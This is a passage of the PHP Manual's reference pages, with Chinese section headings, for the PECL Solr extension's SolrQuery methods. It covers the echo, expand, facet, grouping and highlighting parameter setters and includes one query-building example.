  • PHP Manual
  • SolrQuery
  • Removes one of the stats.field parameters

SolrQuery::removeStatsField

(PECL solr >= 0.9.2)

SolrQuery::removeStatsField — Removes one of the stats.field parameters

说明

public SolrQuery::removeStatsField(string $field): SolrQuery

Removes one of the stats.field parameters

参数

field

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Toggles the echoHandler parameter

  • ? SolrQuery::removeStatsField
  • SolrQuery::setEchoParams ?
  • PHP Manual
  • SolrQuery
  • Toggles the echoHandler parameter

SolrQuery::setEchoHandler

(PECL solr >= 0.9.2)

SolrQuery::setEchoHandler — Toggles the echoHandler parameter

说明

public SolrQuery::setEchoHandler(bool $flag): SolrQuery

If set to true, Solr places the name of the handle used in the response to the client for debugging purposes.

参数

flag

true or false

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Determines what kind of parameters to include in the response

  • ? SolrQuery::setEchoHandler
  • SolrQuery::setExpand ?
  • PHP Manual
  • SolrQuery
  • Determines what kind of parameters to include in the response

SolrQuery::setEchoParams

(PECL solr >= 0.9.2)

SolrQuery::setEchoParams — Determines what kind of parameters to include in the response

说明

public SolrQuery::setEchoParams(string $type): SolrQuery

Instructs Solr what kinds of Request parameters should be included in the response for debugging purposes, legal values include:

- none - don't include any request parameters for debugging
- explicit - include the parameters explicitly specified by the client in the request
- all - include all parameters involved in this request, either specified explicitly by the client, or implicit because of the request handler configuration.

参数

type

The type of parameters to include

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enables/Disables the Expand Component

  • ? SolrQuery::setEchoParams
  • SolrQuery::setExpandQuery ?
  • PHP Manual
  • SolrQuery
  • Enables/Disables the Expand Component

SolrQuery::setExpand

(PECL solr >= 2.2.0)

SolrQuery::setExpand — Enables/Disables the Expand Component

说明

public SolrQuery::setExpand(bool $value): SolrQuery

Enables/Disables the Expand Component.

参数

value

Bool flag

返回值

SolrQuery

示例

Example #1 SolrQuery::setExpand() example

<?php

$query = new SolrQuery('lucene');

$query
->setExpand(true)
->setExpandRows(50)
->setExpandQuery('text:product')
->addExpandFilterQuery('manu:apple')
->addExpandFilterQuery('inStock:true')
->addExpandSortField('score', SolrQuery::ORDER_DESC)
->addExpandSortField('title', SolrQuery::ORDER_ASC);

echo $query.PHP_EOL;

?>

以上示例的输出类似于：

q=lucene&expand=true&expand.rows=50&expand.q=text:product&expand.fq=manu:apple&expand.fq=inStock:true&expand.sort=score desc,title asc

参见

  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Sets the expand.q parameter

  • ? SolrQuery::setExpand
  • SolrQuery::setExpandRows ?
  • PHP Manual
  • SolrQuery
  • Sets the expand.q parameter

SolrQuery::setExpandQuery

(PECL solr >= 2.2.0)

SolrQuery::setExpandQuery — Sets the expand.q parameter

说明

public SolrQuery::setExpandQuery(string $q): SolrQuery

Sets the expand.q parameter.

Overrides the main q parameter, determines which documents to include in the main group.

参数

q

返回值

SolrQuery

参见

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandRows() - Sets the number of rows to display in each group (expand.rows). Server Default 5
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Sets the number of rows to display in each group (expand.rows). Server Default 5

  • ? SolrQuery::setExpandQuery
  • SolrQuery::setExplainOther ?
  • PHP Manual
  • SolrQuery
  • Sets the number of rows to display in each group (expand.rows). Server Default 5

SolrQuery::setExpandRows

(PECL solr >= 2.2.0)

SolrQuery::setExpandRows — Sets the number of rows to display in each group (expand.rows). Server Default 5

说明

public SolrQuery::setExpandRows(int $value): SolrQuery

Sets the number of rows to display in each group (expand.rows). Server Default 5

参数

value

返回值

SolrQuery

参见

  • SolrQuery::setExpand() - Enables/Disables the Expand Component
  • SolrQuery::addExpandSortField() - Orders the documents within the expanded groups (expand.sort parameter)
  • SolrQuery::removeExpandSortField() - Removes an expand sort field from the expand.sort parameter
  • SolrQuery::setExpandQuery() - Sets the expand.q parameter
  • SolrQuery::addExpandFilterQuery() - Overrides main filter query, determines which documents to include in the main group
  • SolrQuery::removeExpandFilterQuery() - Removes an expand filter query

User Contributed Notes

There are no user contributed notes for this page.


Sets the explainOther common query parameter

  • ? SolrQuery::setExpandRows
  • SolrQuery::setFacet ?
  • PHP Manual
  • SolrQuery
  • Sets the explainOther common query parameter

SolrQuery::setExplainOther

(PECL solr >= 0.9.2)

SolrQuery::setExplainOther — Sets the explainOther common query parameter

说明

public SolrQuery::setExplainOther(string $query): SolrQuery

Sets the explainOther common query parameter

参数

query

The Lucene query to identify a set of documents

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to the facet parameter. Enables or disables facetting

  • ? SolrQuery::setExplainOther
  • SolrQuery::setFacetDateEnd ?
  • PHP Manual
  • SolrQuery
  • Maps to the facet parameter. Enables or disables facetting

SolrQuery::setFacet

(PECL solr >= 0.9.2)

SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting

说明

public SolrQuery::setFacet(bool $flag): SolrQuery

Enables or disables faceting.

参数

value

true enables faceting and false disables it.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.end

  • ? SolrQuery::setFacet
  • SolrQuery::setFacetDateGap ?
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.end

SolrQuery::setFacetDateEnd

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateEnd — Maps to facet.date.end

说明

public SolrQuery::setFacetDateEnd(string $value, string $field_override = ?): SolrQuery

Maps to facet.date.end

参数

value

See facet.date.end

field_override

Name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.gap

  • ? SolrQuery::setFacetDateEnd
  • SolrQuery::setFacetDateHardEnd ?
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.gap

SolrQuery::setFacetDateGap

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateGap — Maps to facet.date.gap

说明

public SolrQuery::setFacetDateGap(string $value, string $field_override = ?): SolrQuery

Maps to facet.date.gap

参数

value

See facet.date.gap

field_override

The name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.hardend

  • ? SolrQuery::setFacetDateGap
  • SolrQuery::setFacetDateStart ?
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.hardend

SolrQuery::setFacetDateHardEnd

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend

说明

public SolrQuery::setFacetDateHardEnd(bool $value, string $field_override = ?): SolrQuery

Maps to facet.date.hardend

参数

value

See facet.date.hardend

field_override

The name of the field

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.date.start

  • ? SolrQuery::setFacetDateHardEnd
  • SolrQuery::setFacetEnumCacheMinDefaultFrequency ?
  • PHP Manual
  • SolrQuery
  • Maps to facet.date.start

SolrQuery::setFacetDateStart

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateStart — Maps to facet.date.start

说明

public SolrQuery::setFacetDateStart(string $value, string $field_override = ?): SolrQuery

Maps to facet.date.start

参数

value

See facet.date.start

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum document frequency used for determining term count

  • ? SolrQuery::setFacetDateStart
  • SolrQuery::setFacetLimit ?
  • PHP Manual
  • SolrQuery
  • Sets the minimum document frequency used for determining term count

SolrQuery::setFacetEnumCacheMinDefaultFrequency

(PECL solr >= 0.9.2)

SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count

说明

public SolrQuery::setFacetEnumCacheMinDefaultFrequency(int $frequency, string $field_override = ?): SolrQuery

Sets the minimum document frequency used for determining term count

参数

value

The minimum frequency

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.limit

  • ? SolrQuery::setFacetEnumCacheMinDefaultFrequency
  • SolrQuery::setFacetMethod ?
  • PHP Manual
  • SolrQuery
  • Maps to facet.limit

SolrQuery::setFacetLimit

(PECL solr >= 0.9.2)

SolrQuery::setFacetLimit — Maps to facet.limit

说明

public SolrQuery::setFacetLimit(int $limit, string $field_override = ?): SolrQuery

Maps to facet.limit. Sets the maximum number of constraint counts that should be returned for the facet fields.

参数

limit

The maximum number of constraint counts

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the type of algorithm to use when faceting a field

  • ? SolrQuery::setFacetLimit
  • SolrQuery::setFacetMinCount ?
  • PHP Manual
  • SolrQuery
  • Specifies the type of algorithm to use when faceting a field

SolrQuery::setFacetMethod

(PECL solr >= 0.9.2)

SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field

说明

public SolrQuery::setFacetMethod(string $method, string $field_override = ?): SolrQuery

Specifies the type of algorithm to use when faceting a field. This method accepts optional field override.

参数

method

The method to use.

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.mincount

  • ? SolrQuery::setFacetMethod
  • SolrQuery::setFacetMissing ?
  • PHP Manual
  • SolrQuery
  • Maps to facet.mincount

SolrQuery::setFacetMinCount

(PECL solr >= 0.9.2)

SolrQuery::setFacetMinCount — Maps to facet.mincount

说明

public SolrQuery::setFacetMinCount(int $mincount, string $field_override = ?): SolrQuery

Sets the minimum counts for facet fields that should be included in the response

参数

mincount

The minimum count

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Maps to facet.missing

  • ? SolrQuery::setFacetMinCount
  • SolrQuery::setFacetOffset ?
  • PHP Manual
  • SolrQuery
  • Maps to facet.missing

SolrQuery::setFacetMissing

(PECL solr >= 0.9.2)

SolrQuery::setFacetMissing — Maps to facet.missing

说明

public SolrQuery::setFacetMissing(bool $flag, string $field_override = ?): SolrQuery

Used to indicate that in addition to the Term-based constraints of a facet field, a count of all matching results which have no value for the field should be computed

参数

flag

true turns this feature on. false disables it.

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the offset into the list of constraints to allow for pagination

  • ? SolrQuery::setFacetMissing
  • SolrQuery::setFacetPrefix ?
  • PHP Manual
  • SolrQuery
  • Sets the offset into the list of constraints to allow for pagination

SolrQuery::setFacetOffset

(PECL solr >= 0.9.2)

SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination

说明

public SolrQuery::setFacetOffset(int $offset, string $field_override = ?): SolrQuery

Sets the offset into the list of constraints to allow for pagination.

参数

offset

The offset

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies a string prefix with which to limits the terms on which to facet

  • ? SolrQuery::setFacetOffset
  • SolrQuery::setFacetSort ?
  • PHP Manual
  • SolrQuery
  • Specifies a string prefix with which to limits the terms on which to facet

SolrQuery::setFacetPrefix

(PECL solr >= 0.9.2)

SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet

说明

public SolrQuery::setFacetPrefix(string $prefix, string $field_override = ?): SolrQuery

Specifies a string prefix with which to limits the terms on which to facet.

参数

prefix

The prefix string

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Determines the ordering of the facet field constraints

  • ? SolrQuery::setFacetPrefix
  • SolrQuery::setGroup ?
  • PHP Manual
  • SolrQuery
  • Determines the ordering of the facet field constraints

SolrQuery::setFacetSort

(PECL solr >= 0.9.2)

SolrQuery::setFacetSort — Determines the ordering of the facet field constraints

说明

public SolrQuery::setFacetSort(int $facetSort, string $field_override = ?): SolrQuery

Determines the ordering of the facet field constraints

参数

facetSort

Use SolrQuery::FACET_SORT_INDEX for sorting by index order or SolrQuery::FACET_SORT_COUNT for sorting by count.

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enable/Disable result grouping (group parameter)

  • ? SolrQuery::setFacetSort
  • SolrQuery::setGroupCachePercent ?
  • PHP Manual
  • SolrQuery
  • Enable/Disable result grouping (group parameter)

SolrQuery::setGroup

(PECL solr >= 2.2.0)

SolrQuery::setGroup — Enable/Disable result grouping (group parameter)

说明

public SolrQuery::setGroup(bool $value): SolrQuery

Enable/Disable result grouping (group parameter)

参数

value

返回值

参见

  • SolrQuery::getGroup() - Returns true if grouping is enabled
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Enables caching for result grouping

  • ? SolrQuery::setGroup
  • SolrQuery::setGroupFacet ?
  • PHP Manual
  • SolrQuery
  • Enables caching for result grouping

SolrQuery::setGroupCachePercent

(PECL solr >= 2.2.0)

SolrQuery::setGroupCachePercent — Enables caching for result grouping

说明

public SolrQuery::setGroupCachePercent(int $percent): SolrQuery

Setting this parameter to a number greater than 0 enables caching for result grouping. Result Grouping executes two searches; this option caches the second search. The server default value is 0. Testing has shown that group caching only improves search time with Boolean, wildcard, and fuzzy queries. For simple queries like term or "match all" queries, group caching degrades performance. group.cache.percent parameter

参数

percent

返回值

错误／异常

Emits SolrIllegalArgumentException in case of an invalid parameter was passed.

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)

User Contributed Notes

There are no user contributed notes for this page.


Sets group.facet parameter

  • ? SolrQuery::setGroupCachePercent
  • SolrQuery::setGroupFormat ?
  • PHP Manual
  • SolrQuery
  • Sets group.facet parameter

SolrQuery::setGroupFacet

(PECL solr >= 2.2.0)

SolrQuery::setGroupFacet — Sets group.facet parameter

说明

public SolrQuery::setGroupFacet(bool $value): SolrQuery

Determines whether to compute grouped facets for the field facets specified in facet.field parameters. Grouped facets are computed based on the first specified group.

参数

value

返回值

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Sets the group format, result structure (group.format parameter)

  • ? SolrQuery::setGroupFacet
  • SolrQuery::setGroupLimit ?
  • PHP Manual
  • SolrQuery
  • Sets the group format, result structure (group.format parameter)

SolrQuery::setGroupFormat

(PECL solr >= 2.2.0)

SolrQuery::setGroupFormat — Sets the group format, result structure (group.format parameter)

说明

public SolrQuery::setGroupFormat(string $value): SolrQuery

Sets the group.format parameter. If this parameter is set to simple, the grouped documents are presented in a single flat list, and the start and rows parameters affect the numbers of documents instead of groups. Accepts: grouped/simple

参数

value

返回值

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Specifies the number of results to return for each group. The server default value is 1

  • ? SolrQuery::setGroupFormat
  • SolrQuery::setGroupMain ?
  • PHP Manual
  • SolrQuery
  • Specifies the number of results to return for each group. The server default value is 1

SolrQuery::setGroupLimit

(PECL solr >= 2.2.0)

SolrQuery::setGroupLimit — Specifies the number of results to return for each group. The server default value is 1

说明

public SolrQuery::setGroupLimit(int $value): SolrQuery

Specifies the number of results to return for each group. The server default value is 1.

参数

value

返回值

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple

  • ? SolrQuery::setGroupLimit
  • SolrQuery::setGroupNGroups ?
  • PHP Manual
  • SolrQuery
  • If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple

SolrQuery::setGroupMain

(PECL solr >= 2.2.0)

SolrQuery::setGroupMain — If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple

说明

public SolrQuery::setGroupMain(string $value): SolrQuery

If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple.

参数

value

If true, the result of the first field grouping command is used as the main result list in the response.

返回值

Returns an instance of SolrQuery.

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupMain()
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


If true, Solr includes the number of groups that have matched the query in the results

  • ? SolrQuery::setGroupMain
  • SolrQuery::setGroupOffset ?
  • PHP Manual
  • SolrQuery
  • If true, Solr includes the number of groups that have matched the query in the results

SolrQuery::setGroupNGroups

(PECL solr >= 2.2.0)

SolrQuery::setGroupNGroups — If true, Solr includes the number of groups that have matched the query in the results

说明

public SolrQuery::setGroupNGroups(bool $value): SolrQuery

If true, Solr includes the number of groups that have matched the query in the results.

参数

value

返回值

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Sets the group.offset parameter

  • ? SolrQuery::setGroupNGroups
  • SolrQuery::setGroupTruncate ?
  • PHP Manual
  • SolrQuery
  • Sets the group.offset parameter

SolrQuery::setGroupOffset

(PECL solr >= 2.2.0)

SolrQuery::setGroupOffset — Sets the group.offset parameter

说明

public SolrQuery::setGroupOffset(int $value): SolrQuery

Sets the group.offset parameter.

参数

value

返回值

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupTruncate() - If true, facet counts are based on the most relevant document of each group matching the query
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


If true, facet counts are based on the most relevant document of each group matching the query

  • ? SolrQuery::setGroupOffset
  • SolrQuery::setHighlight ?
  • PHP Manual
  • SolrQuery
  • If true, facet counts are based on the most relevant document of each group matching the query

SolrQuery::setGroupTruncate

(PECL solr >= 2.2.0)

SolrQuery::setGroupTruncate — If true, facet counts are based on the most relevant document of each group matching the query

说明

public SolrQuery::setGroupTruncate(bool $value): SolrQuery

If true, facet counts are based on the most relevant document of each group matching the query. The server default value is false. group.truncate parameter

参数

value

返回值

参见

  • SolrQuery::setGroup() - Enable/Disable result grouping (group parameter)
  • SolrQuery::addGroupField() - Add a field to be used to group results
  • SolrQuery::addGroupFunction() - Allows grouping results based on the unique values of a function query (group.func parameter)
  • SolrQuery::addGroupQuery() - Allows grouping of documents that match the given query
  • SolrQuery::addGroupSortField() - Add a group sort field (group.sort parameter)
  • SolrQuery::setGroupFacet() - Sets group.facet parameter
  • SolrQuery::setGroupOffset() - Sets the group.offset parameter
  • SolrQuery::setGroupLimit() - Specifies the number of results to return for each group. The server default value is 1
  • SolrQuery::setGroupMain() - If true, the result of the first field grouping command is used as the main result list in the response, using group.format=simple
  • SolrQuery::setGroupNGroups() - If true, Solr includes the number of groups that have matched the query in the results
  • SolrQuery::setGroupFormat() - Sets the group format, result structure (group.format parameter)
  • SolrQuery::setGroupCachePercent() - Enables caching for result grouping

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables highlighting

  • ? SolrQuery::setGroupTruncate
  • SolrQuery::setHighlightAlternateField ?
  • PHP Manual
  • SolrQuery
  • Enables or disables highlighting

SolrQuery::setHighlight

(PECL solr >= 0.9.2)

SolrQuery::setHighlight — Enables or disables highlighting

说明

public SolrQuery::setHighlight(bool $flag): SolrQuery

Setting it to true enables highlighted snippets to be generated in the query response.

Setting it to false disables highlighting

参数

flag

Enable or disable highlighting

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the backup field to use

  • ? SolrQuery::setHighlight
  • SolrQuery::setHighlightFormatter ?
  • PHP Manual
  • SolrQuery
  • Specifies the backup field to use

SolrQuery::setHighlightAlternateField

(PECL solr >= 0.9.2)

SolrQuery::setHighlightAlternateField — Specifies the backup field to use

说明

public SolrQuery::setHighlightAlternateField(string $field, string $field_override = ?): SolrQuery

If a snippet cannot be generated because there were no matching terms, one can specify a field to use as the backup or default summary

参数

field

The name of the backup field

field_override

The name of the field we are overriding this setting for.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specify a formatter for the highlight output

  • ? SolrQuery::setHighlightAlternateField
  • SolrQuery::setHighlightFragmenter ?
  • PHP Manual
  • SolrQuery
  • Specify a formatter for the highlight output

SolrQuery::setHighlightFormatter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output

说明

public SolrQuery::setHighlightFormatter(string $formatter, string $field_override = ?): SolrQuery

Specify a formatter for the highlight output.

参数

formatter

Currently the only legal value is "simple"

field_override

The name of the field.

返回值

Returns an instance of SolrQuery.

User Contributed Notes

There are no user contributed notes for this page.


Sets a text snippet generator for highlighted text

  • ? SolrQuery::setHighlightFormatter
  • SolrQuery::setHighlightFragsize ?
  • PHP Manual
  • SolrQuery
  • Sets a text snippet generator for highlighted text

SolrQuery::setHighlightFragmenter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text

说明

public SolrQuery::setHighlightFragmenter(string $fragmenter, string $field_override = ?): SolrQuery

Specify a text snippet generator for highlighted text.

参数

fragmenter

The standard fragmenter is gap. Another option is regex, which tries to create fragments that resembles a certain regular expression

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


The size of fragments to consider for highlighting

  • ? SolrQuery::setHighlightFragmenter
  • SolrQuery::setHighlightHighlightMultiTerm ?
  • PHP Manual
  • SolrQuery
  • The size of fragments to consider for highlighting

SolrQuery::setHighlightFragsize

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting

说明

public SolrQuery::setHighlightFragsize(int $size, string $field_override = ?): SolrQuery

Sets the size, in characters, of fragments to consider for highlighting. "0" indicates that the whole field value should be used (no fragmenting).

参数

size

The size, in characters, of fragments to consider for highlighting

field_override

The name of the field.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Use SpanScorer to highlight phrase terms

  • ? SolrQuery::setHighlightFragsize
  • SolrQuery::setHighlightMaxAlternateFieldLength ?
  • PHP Manual
  • SolrQuery
  • Use SpanScorer to highlight phrase terms

SolrQuery::setHighlightHighlightMultiTerm

(PECL solr >= 0.9.2)

SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms

说明

public SolrQuery::setHighlightHighlightMultiTerm(bool $flag): SolrQuery

Use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

参数

flag

Whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

返回值

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of characters of the field to return

  • ? SolrQuery::setHighlightHighlightMultiTerm
  • SolrQuery::setHighlightMaxAnalyzedChars ?
  • PHP Manual
  • SolrQuery
